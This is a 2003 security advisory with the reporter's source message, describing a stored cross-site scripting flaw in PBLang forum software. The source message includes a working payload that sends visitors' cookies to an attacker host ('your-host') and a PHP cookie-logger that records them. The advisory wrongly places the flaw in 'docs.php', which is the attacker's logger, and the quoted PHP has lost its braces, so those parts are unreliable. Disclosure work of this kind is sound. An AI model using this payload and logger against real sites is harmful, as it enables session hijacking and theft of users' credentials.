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Category:  Application (Forum/Board/Portal)  >  PBLang Vendors:  PBLang-Team
PBLang Input Filtering Flaw Lets Remote Users Conduct Cross-Site Scripting Attacks
SecurityTracker Alert ID:  1007307
CVE Reference:  GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Jul 25 2003
Impact:  Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
Fix Available:  Yes   Exploit Included:  Yes  
Version(s): 4.0 and prior versions
Description:  An input vulnerability was reported in the PBLang web forum software. A remote user can execute cross-site scripting attacks against forum users.

It is reported that a remote user can insert specially crafted text into a post so that when a target user views the post, arbitrary scripting code will be executed by the target user's browser. The code will originate from the site running the vulnerable PBLang software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

The flaw reportedly resides in the 'docs.php' script.

[Editor's note: Version 4.55 of PBLang does not contain a file by that name.]

Some demonstration exploits are described in the Source Message.

Impact:  A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the PBLang software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
Solution:  The report indicates that versions 4.0 and prior are affected. A recent version (4.55) does not contain the affected file.
Vendor URL:  pblang.drmartinus.de/ (Links to External Site)
Cause:  Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)
Reported By:  Quan Van Truong Bui <quan_vu_208cn@yahoo.com>
Message History:   None.


 Source Message Contents

Date:  25 Jul 2003 12:54:11 -0000
From:  Quan Van Truong Bui <quan_vu_208cn@yahoo.com>
Subject:  PBLang Forum XSS Vul

 



PBLang is a web forum written by PHP language. A security vulnerability in 
the product allows posting of HTML code and JavaScript into existing web 
pages thus causing it to be executed on the client end (a Cross-Site 
Scripting vuln).

|--------------------------------------------|

Vulnerable systems: PBLang forum
Version:   4.0 or lower
Website: http://pblang.drmartinus.de/
Problem: Cross Site Scripting (XSS)

|--------------------------------------------|

If someone inserts &lt;script&gt;`anyscript`&lt;/script&gt; instead of the post’s 
content, the JavaScript code is executed by Internet Explorer or some 
other web browsers. This allows stealing of cookie data and other 
interesting things… 

Exploit:

Inserting a new topic (or reply) with the following script, it will send 
visitor's cookies to your host. The output is saved to http://your-
host/cookie.txt 

*--------------------------------------------------------------------------
-------------------

&lt;script&gt;window.open("http://your-host/docs.php?docs="+escape
(document.cookie), "subwindows", "height=100,width=486")&lt;/script&gt;

---------------------------------------------------------------------------
------------------*

Or insert every scripts – Java and HTML (ex: javascript:history.go(-1), 
window.write(‘Hello world’), javascript:alert(‘Hi!!!’)… )


* Code of docs.php:*

*-------------------------------------------------docs.php-----------------
-------------------------------
<?php
//Copyright by W_Hat (www.pcworldvn.com)
define ("LINE", "\r\n");
define ("HTML_LINE", "<br>"); 
function getvars($arr, $title)
 
$res = "";
$len = count($arr);
if ($len>0)
 
if (strlen($title)>0)
 
print("[--------$title--------]" . HTML_LINE);
$res .= "[--------$title--------]" . LINE;
 
foreach ($arr as $key => $value)
 
print("[$key]" . HTML_LINE);
print($arr[$key] . HTML_LINE);
$res .= "[$key]" . LINE . $arr[$key] . LINE;
 
 
return $res;
} 
// get current date
$now = date("Y-m-d H:i:s"); 
// init
$myData = "[-----$now-----]" . LINE; 
// get
$myData .= getvars($HTTP_GET_VARS, ""); 
// file
$file = $REMOTE_ADDR . "cookie.txt";
$mode = "r+";
if (!file_exists($file))
$mode = "w+";
$fp = fopen ($file, $mode);
fseek($fp, 0, SEEK_END);
fwrite($fp, $myData);
fclose($fp);
?>
-------------------------------------------------docs.php------------------
------------------------------*


Name: Quan Van Truong
E-Mail: quan_vu_208cn@yahoo.com
Occupation: Bug Hunter

 


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